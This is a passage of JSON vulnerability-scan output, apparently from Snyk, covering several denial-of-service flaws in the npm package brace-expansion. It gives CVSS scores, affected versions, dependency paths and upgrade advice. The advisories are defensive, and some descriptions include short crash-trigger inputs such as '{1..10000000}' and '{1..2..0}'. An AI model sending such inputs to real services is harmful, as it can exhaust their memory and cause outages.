"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 